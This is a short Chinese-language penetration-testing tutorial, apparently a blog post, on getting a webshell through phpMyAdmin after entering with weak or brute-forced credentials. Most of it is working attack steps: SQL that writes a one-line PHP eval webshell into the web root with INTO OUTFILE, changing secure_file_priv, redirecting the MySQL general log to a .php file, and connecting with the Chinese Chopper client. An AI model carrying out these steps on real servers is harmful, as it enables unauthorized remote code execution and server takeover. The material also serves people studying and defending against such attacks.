在通过对目标进行信息收集探测后,当发现存有phpmyadmin目录时,进而通过弱口令或者暴力破解进入数据库之后,有多种方法进行getshell
注:大多数集成包里自带,如:phpstudy,wampserver,xampp等
实验环境:windows phpstudy集成环境
into outfile
最常用的是一句话木马的写入
select '<?php eval($_POST[cmd]); ?>' into outfile 'D:/phpStudy/www/xxx.php';
当然,前提是你得知道网站的绝对路径,方法也有很多,比如通过报错获取路径,通过phpinfo.php等等
但在新版的mysql中,这句话并没有运行成功

mysql新特性secure_file_priv会对读写文件产生影响,该参数用来限制导入导出
可以查看该参数
show global variables like '%secure%';

当secure_file_priv为NULL时,表示限制mysql不允许导入导出。所以爆出错误
要想使得该语句导出成功,则需要在mysql文件夹下修改my.ini 文件,
在[mysqld]内加入secure_file_priv ="" 即可

当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
此时就可以执行导出命令
利用日志文件
mysql 5.0版本以上会创建日志文件,修改日志的全局变量,也可以getshell。但是也要对生成的日志有可读可写的权限。
注:linux因为权限问题亲测没有成功
查看日志状态
show variables like '%general%';

当开启general时,所执行的sql语句都会出现在WIN-30DFNC8L78A.log文件
那么,如果修改general_log_file的值,那么所执行的sql语句就会对应生成
进而getshell
SET GLOBAL general_log='on'

SET GLOBAL general_log_file='C:/phpStudy/www/xxx.php'

对应就会生成xxx.php文件

将一句话木马写入xxx.php文件
SELECT '<?php eval($_POST["cmd"]);?>'


中国菜刀连接,getshell

网友评论